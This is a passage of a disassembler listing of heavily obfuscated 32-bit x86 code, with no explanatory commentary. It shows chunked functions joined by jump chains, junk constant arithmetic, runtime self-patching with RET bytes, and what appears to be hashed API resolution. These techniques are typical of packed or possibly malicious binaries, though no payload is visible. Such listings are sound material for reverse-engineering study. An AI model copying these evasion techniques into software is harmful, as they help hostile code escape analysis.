loc_4501C6:				; CODE XREF: sub_451D31-17755j
		jmp	loc_43FEAE
; END OF FUNCTION CHUNK	FOR sub_451D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_4501CB:				; CODE XREF: sub_43E095+1B1Ej
		xchg	esi, edx
		jmp	loc_44D8F7
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_4501D2:				; CODE XREF: sub_443862+1253Aj
		jl	loc_4486AF
		jno	loc_44D2E5
		js	loc_445133
		jmp	loc_4486A8
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------

loc_4501E9:				; CODE XREF: dviuq5id:00440446j
		jb	loc_4433A4
		not	esi
		jmp	loc_43E44B
; ---------------------------------------------------------------------------

loc_4501F6:				; DATA XREF: sub_4530E7-E598o
		call	sub_440A7F
		cmp	eax, [ebp-8]
		jnz	loc_44262A
		mov	eax, [ebp-14h]
		push	offset loc_442004
		jmp	loc_44EA9E
; ---------------------------------------------------------------------------

loc_450211:				; CODE XREF: dviuq5id:0044011Fj
		or	esi, 53BB5D2Ch

; =============== S U B	R O U T	I N E =======================================



sub_450217	proc near		; CODE XREF: sub_4460D5-1DBCp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043902E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00439559 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A32D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A3F1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AA08 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043B87B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447619 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044ABCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CA83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DF2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FF17 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004503D1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00450A6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453412 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455425 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00459380 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A1CB SIZE 00000014 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		mov	esp, ebp
		jmp	loc_43A32D
sub_450217	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_491. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_450224:				; CODE XREF: sub_440828+163E7j
					; sub_44B2EA:loc_45A2F4j
		jmp	loc_451E65
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A615

loc_450229:				; CODE XREF: sub_44A615+Fj
		jmp	nullsub_463
; END OF FUNCTION CHUNK	FOR sub_44A615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_45022E:				; CODE XREF: sub_439A5E:loc_4519E7j
		mov	al, [eax]
		js	loc_43CEEE
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_448D15
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------

locret_450240:				; CODE XREF: dviuq5id:loc_44ECF3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_450241:				; CODE XREF: sub_459194+7j
		jmp	loc_451E51
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458E76

loc_450246:				; CODE XREF: sub_458E76+7j
		jmp	nullsub_453
; END OF FUNCTION CHUNK	FOR sub_458E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_45024B:				; CODE XREF: sub_449222+3AABj
					; sub_449222:loc_44EC26j
		mov	eax, 0DD70DD34h
		push	edx
		mov	edx, edi
		xchg	edx, [esp+4+var_4]
		push	5CC5FEC9h
		or	edi, ecx
		jmp	loc_45482E
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_450262:				; CODE XREF: sub_4411C6-4906j
		or	edx, edi
		shl	ebp, 15h
		sub	ecx, 0EE351871h

loc_45026D:				; CODE XREF: sub_4411C6:loc_43C8B3j
		and	ebx, 0A633EB01h
		jnz	loc_43A017

loc_450279:				; CODE XREF: sub_43EB11+19030j
		jmp	loc_43A2FD
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_45257E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450045

loc_450284:				; CODE XREF: sub_450045:loc_450050j
		pop	eax
		rol	eax, 2
		xor	eax, 277D09DDh
		and	eax, 4136B46Bh
		test	eax, 4000000h
		jmp	loc_45778E
; END OF FUNCTION CHUNK	FOR sub_450045
; ---------------------------------------------------------------------------

locret_45029F:				; CODE XREF: dviuq5id:00451348j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F236

loc_4502A0:				; CODE XREF: sub_43F236+19j
		jmp	loc_458414
; END OF FUNCTION CHUNK	FOR sub_43F236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_4502A5:				; CODE XREF: sub_44BD0B:loc_44829Fj
		add	edx, 57E49C38h
		push	offset sub_452573
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B93

loc_4502B5:				; CODE XREF: sub_446B93+15j
		push	0
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		push	0F8E45219h
		pop	esi
		add	esi, ds:4000F9h
		rol	esi, 1Eh
		jmp	loc_4483F8
; END OF FUNCTION CHUNK	FOR sub_446B93
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_43B8FB
		jmp	loc_457400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_4502DD:				; CODE XREF: sub_448154-3B6j
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jz	loc_450A90
		jmp	loc_44FEF3
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_4502EE:				; CODE XREF: sub_443AC1:loc_4593F3j
		add	edi, 8DD8168Bh
		jg	loc_4566B6
		cmp	edx, esi
		jmp	loc_44762A
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4529AE

loc_450301:				; CODE XREF: sub_4529AE:loc_4562AFj
		and	edi, ds:4000FBh
		or	edi, 2B26B747h
		sub	edi, 28E9469h
		add	edi, 0D7B36EA2h
		jmp	loc_4598B3
; END OF FUNCTION CHUNK	FOR sub_4529AE

; =============== S U B	R O U T	I N E =======================================



sub_45031E	proc near		; CODE XREF: dviuq5id:0044C90Ej
					; sub_4592D7-2B5Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004421FC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C6D8 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		mov	ebx, edx
		jmp	loc_44C6D8
sub_45031E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F746

loc_45032A:				; CODE XREF: sub_44F746+1Ej
		add	esi, ebx
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_44F746
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_45032D:				; CODE XREF: sub_44B99E-912Fj
		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-4]
		jmp	loc_453EB0
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_450338:				; CODE XREF: dviuq5id:0044A17Fj
		jb	loc_44EDB6
		cdq
		jmp	sub_453603
; ---------------------------------------------------------------------------

loc_450344:				; CODE XREF: dviuq5id:loc_441E80j
		jnz	loc_454B91
		jmp	loc_44116C
; ---------------------------------------------------------------------------

loc_45034F:				; CODE XREF: dviuq5id:0044B474j
		push	edx

; =============== S U B	R O U T	I N E =======================================



sub_450350	proc near		; CODE XREF: dviuq5id:0044A277p

; FUNCTION CHUNK AT 0043A5F7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, nullsub_101
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A5F7
sub_450350	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_450362	proc near		; CODE XREF: sub_40C6EC+191p
					; sub_450362+5j
					; DATA XREF: ...
		call	sub_450377
		jmp	ds:off_41D124
sub_450362	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_45036D:				; CODE XREF: sub_4585FC-58DBj
		jmp	loc_44CE02
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0CA

loc_450372:				; CODE XREF: sub_44F0CA+Dj
		jmp	loc_449ED3
; END OF FUNCTION CHUNK	FOR sub_44F0CA

; =============== S U B	R O U T	I N E =======================================



sub_450377	proc near		; CODE XREF: sub_450362p
					; dviuq5id:0045355Aj ...

; FUNCTION CHUNK AT 0043CD12 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004425FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F55A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FA1B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00457C9A SIZE 00000009 BYTES

		pop	edx
		jmp	loc_4425FA
sub_450377	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_45037D:				; CODE XREF: dviuq5id:0043B736j
		jge	loc_459AF5
		xchg	eax, edx

loc_450385:				; CODE XREF: dviuq5id:0043B724j
		add	eax, 0BE3C3DD0h
		mov	eax, [eax]

loc_45038D:				; CODE XREF: dviuq5id:0043B510j
		or	eax, eax
		jnz	loc_4546BA
		jmp	loc_44DE88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C54

loc_45039A:				; CODE XREF: sub_441C54+Aj
		push	offset loc_439534
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_441C54
; ---------------------------------------------------------------------------
		mov	ebx, esi
		jmp	sub_450443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A739

loc_4503AB:				; CODE XREF: sub_43A739:loc_45488Ej
		mov	eax, edx
		xchg	eax, [esp-4+arg_0]
		push	ebx
		push	offset loc_441059
		jmp	nullsub_201
; END OF FUNCTION CHUNK	FOR sub_43A739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_4503BB:				; CODE XREF: sub_443C86:loc_44D3E2j
		jz	loc_44CA8D
		jmp	loc_439E76
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
		test	eax, 0D13BDBD4h
		jmp	loc_44F599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_4503D1:				; CODE XREF: sub_450217+5216j
		popf
		test	edx, 0A9C2030Ch
		jmp	loc_43A3F1
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------

loc_4503DD:				; CODE XREF: dviuq5id:loc_4476C3j
		add	eax, 5309A6BDh
		call	sub_453642
		push	edx
		push	545F7F4Bh
		pop	edx
		rol	edx, 2
		jmp	loc_453EC7

; =============== S U B	R O U T	I N E =======================================



sub_4503F7	proc near		; CODE XREF: sub_440898+13DDAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0045054B SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		call	sub_453749

loc_450402:				; CODE XREF: dviuq5id:0045655Aj
		jmp	loc_45054B
sub_4503F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_450407	proc near		; CODE XREF: dviuq5id:0044161Cj
					; sub_456253:loc_444849p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004416F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C04 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444635 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044CBED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044CF45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004566FD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00457C79 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edx
		ror	eax, 16h
		add	eax, 0C2490D53h
		push	edi
		push	0EADB13CBh
		pop	edi
		jmp	loc_44CBED
sub_450407	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_450421:				; CODE XREF: sub_4492F0:loc_446434j
		or	ecx, ebx
		sbb	ebp, ebx
		jmp	loc_452B40
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_45042A:				; CODE XREF: sub_44952D:loc_450BD9j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnz	loc_44B8E5
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_440BAE
; END OF FUNCTION CHUNK	FOR sub_44952D

; =============== S U B	R O U T	I N E =======================================



sub_450443	proc near		; CODE XREF: dviuq5id:loc_4487D8p
					; dviuq5id:004503A6j

; FUNCTION CHUNK AT 004418A1 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	ecx, ecx
		push	offset sub_4523AC
		jmp	loc_4418A1
sub_450443	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_450453:				; CODE XREF: sub_44514D:loc_44AA55j
		jz	loc_4415D9
		jmp	loc_44A669
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
		mov	eax, 0B9726E5Ah
		call	sub_453642
		mov	ds:off_41D0F8, eax
		lea	eax, sub_454515
		mov	byte ptr [eax],	0C3h
		jmp	sub_454515
; ---------------------------------------------------------------------------
		call	nullsub_226
		jmp	loc_44092A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_450486:				; CODE XREF: sub_43C4B5:loc_43CB47j
		jnz	loc_4430EF
		jmp	loc_4423E7
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_450491:				; CODE XREF: dviuq5id:00439C3Ej
					; sub_43FAE1:loc_455A4Aj
		add	ebx, 0D1C74447h
		xor	eax, ebx
		pop	ebx
		ror	eax, 1Eh
		jmp	loc_44442A
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_4504A2:				; CODE XREF: sub_44C2F6:loc_450D85j
		or	eax, 1F5DA1BBh
		add	eax, 40655F31h

loc_4504AE:				; CODE XREF: dviuq5id:004419A5j
		mov	eax, [eax]
		call	sub_4509F7

loc_4504B5:				; CODE XREF: sub_453654:loc_449084j
		shl	esi, 1Bh
		sub	esi, 4FA4A673h
		rol	esi, 0Ch

loc_4504C1:				; CODE XREF: sub_453654:loc_4527B4j
		mov	eax, [ebp-8]
		push	eax
		call	sub_451D52

loc_4504CA:				; CODE XREF: sub_453654-F91Ej
		mov	eax, 0B1h
		jmp	loc_446B3E
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_4504D4:				; CODE XREF: sub_43938B+F18Bj
		sbb	edi, edx

loc_4504D6:				; CODE XREF: sub_43938B+F17Ej
		rol	eax, 0Fh
		cmp	eax, 0B057A8A0h
		jmp	loc_45A022
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_4504E5:				; CODE XREF: sub_44952D-2F1Cj
		jmp	loc_443AF4
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
		dw 8D0Dh
dword_4504EC	dd 0			; DATA XREF: sub_43B168+A59w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F787

loc_4504F0:				; CODE XREF: sub_44F787+Ej
		jmp	loc_439FEC
; END OF FUNCTION CHUNK	FOR sub_44F787
; ---------------------------------------------------------------------------

loc_4504F5:				; CODE XREF: dviuq5id:00445C3Dj
		jmp	locret_43A456
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4504FA:				; CODE XREF: sub_43FAE1+49C5j
		jmp	loc_43B6B3
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443304

loc_4504FF:				; CODE XREF: sub_443304+11j
		jmp	loc_445B4D
; END OF FUNCTION CHUNK	FOR sub_443304

; =============== S U B	R O U T	I N E =======================================



sub_450504	proc near		; CODE XREF: sub_41A690+299p
					; sub_450504+5j
					; DATA XREF: ...
		call	sub_450519
		jmp	ds:off_41D030
sub_450504	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_45050F:				; CODE XREF: sub_451F61+14j
		jmp	loc_451008
; END OF FUNCTION CHUNK	FOR sub_451F61
; ---------------------------------------------------------------------------

loc_450514:				; CODE XREF: dviuq5id:00442FB5j
		jmp	nullsub_500

; =============== S U B	R O U T	I N E =======================================



sub_450519	proc near		; CODE XREF: dviuq5id:loc_4418A6j
					; sub_450504p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BF61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C07B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043CA75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443AD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446813 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448969 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CCAB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E091 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E84A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450CCF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004513C4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00452645 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456A09 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00456C1F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00459540 SIZE 00000005 BYTES

		jns	loc_44E091
		xchg	edi, [esp+0]
		jmp	loc_448969
sub_450519	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_450527:				; CODE XREF: sub_44A94D+239Cj
		jns	loc_449FFF
		and	ecx, ebx

loc_45052F:				; CODE XREF: sub_44A94D:loc_4434FFj
		rol	edi, 1Bh
		test	edi, 1
		jmp	loc_442F1C
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------

loc_45053D:				; CODE XREF: dviuq5id:loc_452A6Ej
		test	al, al
		jz	loc_4506AE
		jmp	loc_4588B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_518. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4503F7

loc_45054B:				; CODE XREF: sub_4503F7:loc_450402j
		jmp	nullsub_353
; END OF FUNCTION CHUNK	FOR sub_4503F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_450550:				; CODE XREF: sub_44BDEB+14j
		jmp	loc_43B312
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4469F9

loc_450555:				; CODE XREF: sub_4469F9+6j
		jmp	sub_446B53
; END OF FUNCTION CHUNK	FOR sub_4469F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BB7A

loc_45055A:				; CODE XREF: sub_43BB7A+883Bj
		jmp	loc_446178
; END OF FUNCTION CHUNK	FOR sub_43BB7A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45055F	proc near		; DATA XREF: sub_440898+27A4o
					; dviuq5id:00443385o

; FUNCTION CHUNK AT 0043A9CE SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043DD65 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD38h
		push	0FEF454Fh
		pop	eax
		rol	eax, 8
		jmp	loc_43DD65
sub_45055F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_450576:				; CODE XREF: sub_4597EF-883j
		jp	loc_446C8C
		test	ebx, 0D08FC1D4h
		jmp	loc_448402
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADB3

loc_450587:				; CODE XREF: sub_44ADB3+10j
		jz	loc_4458C2
		jmp	loc_43D0E1
; END OF FUNCTION CHUNK	FOR sub_44ADB3
; ---------------------------------------------------------------------------
		cmp	edx, 49B14B9h
		jmp	loc_4436CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_45059D:				; CODE XREF: sub_450E57-11D61j
		shr	ecx, 0Fh
		ror	ecx, 0Ah
		xor	esi, eax

loc_4505A5:				; CODE XREF: sub_450E57:loc_446D68j
		push	ecx
		jmp	loc_43BC68
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
		test	edx, eax
		jmp	loc_44BC09
; ---------------------------------------------------------------------------

loc_4505B2:				; CODE XREF: dviuq5id:004527CCj
		not	ebp

; =============== S U B	R O U T	I N E =======================================



sub_4505B4	proc near		; CODE XREF: sub_43EEB4+3p

; FUNCTION CHUNK AT 0044265D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B097 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jz	loc_43AA20
		jmp	loc_44B097
sub_4505B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_4505CD:				; CODE XREF: sub_43D181:loc_446867j
		push	offset loc_44D31C
		jmp	nullsub_293
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------

loc_4505D7:				; CODE XREF: dviuq5id:loc_44AA35j
		mov	ebx, eax
		pop	eax
		and	ebx, 0D2E7892Ah
		xor	ebx, 12AAEE54h
		jmp	loc_44B3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_4505EB:				; CODE XREF: sub_4584CA:loc_44FC47j
					; dviuq5id:0044FC5Bj
		add	ecx, 3E5756ECh
		push	offset loc_452772
		jmp	nullsub_509
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451FE0

loc_4505FB:				; CODE XREF: sub_451FE0-C82j
		xor	edx, edi
		test	edi, esi
		jmp	loc_446422
; END OF FUNCTION CHUNK	FOR sub_451FE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_450604:				; CODE XREF: sub_446181:loc_443C29j
					; dviuq5id:00451C8Dj
		and	eax, 0CADFEAEFh
		add	eax, 0DF95FD76h
		add	eax, ebp
		add	eax, 57922052h
		jmp	loc_43EBBF
; END OF FUNCTION CHUNK	FOR sub_446181

; =============== S U B	R O U T	I N E =======================================



sub_45061D	proc near		; CODE XREF: dviuq5id:loc_43D3BCj
					; sub_4414C8-34A9j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E506 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444409 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452FBF SIZE 00000005 BYTES

		jnz	loc_43E506
		xchg	ecx, [esp+0]
		push	ecx
		pop	edx
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	offset sub_451F7A
		jmp	loc_444409
sub_45061D	endp


; =============== S U B	R O U T	I N E =======================================



sub_450637	proc near		; DATA XREF: sub_43EFA5:loc_4480F1o

var_4		= dword	ptr -4

		push	esi
		push	5E762A98h
		pop	esi
		xor	esi, 0CB1798D3h
		add	esi, 6AE2E20Eh
		xchg	esi, [esp+4+var_4]
		jmp	sub_453642
sub_450637	endp

; ---------------------------------------------------------------------------
		jge	sub_454228
		jmp	loc_4575D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_45065D:				; CODE XREF: sub_44508C:loc_44E996j
		push	offset loc_45954D
		jmp	loc_450D19
; END OF FUNCTION CHUNK	FOR sub_44508C

; =============== S U B	R O U T	I N E =======================================



sub_450667	proc near		; DATA XREF: sub_459A5B-18085o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C6D1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004498FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B07E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452139 SIZE 0000000E BYTES

		push	ecx
		mov	esp, ebp
		xchg	eax, [esp+4+var_4]
		mov	ebp, eax
		xchg	ecx, [esp+4+var_4]
		jmp	loc_4498FC
sub_450667	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E3C2

loc_450677:				; CODE XREF: sub_44E3C2:loc_458CA5j
					; dviuq5id:00458CC0j
		add	edx, 864BD26h
		popf
		xchg	edx, [esp+4+var_4]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44E3C2

; =============== S U B	R O U T	I N E =======================================



sub_450686	proc near		; CODE XREF: sub_456C8B:loc_4390D7j
					; sub_44DA96p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439098 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439918 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439F12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C102 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D4F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DAED SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FA7F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043FE86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044344F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004435F7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444AF8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445320 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044768D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447A68 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C0FA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044C8AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D1E2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044F1F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004507AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004541CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045448A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454623 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00456C97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00457EBD SIZE 00000005 BYTES

		pop	edx
		jno	loc_456C97
		mov	eax, [esp+0]
		call	sub_43E421

loc_450695:				; CODE XREF: sub_448FC7:loc_44BC59j
		jz	loc_43D4F9
		jmp	loc_439F12
sub_450686	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4506A0:				; CODE XREF: dviuq5id:00459B6Bj
		not	ecx

loc_4506A2:				; CODE XREF: dviuq5id:loc_4588B5j
		call	nullsub_466
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_4506A8:				; CODE XREF: sub_45944F+6j
		jmp	loc_446077
; END OF FUNCTION CHUNK	FOR sub_45944F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_466. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4506AE:				; CODE XREF: dviuq5id:0045053Fj
		push	ebx
		push	9DCF6CB1h
		pop	ebx
		rol	ebx, 0Ah
		jmp	loc_43B5CB
; ---------------------------------------------------------------------------

loc_4506BD:				; DATA XREF: sub_448064+6o
		add	eax, 40649458h
		call	sub_443563
; START	OF FUNCTION CHUNK FOR sub_44AF7D

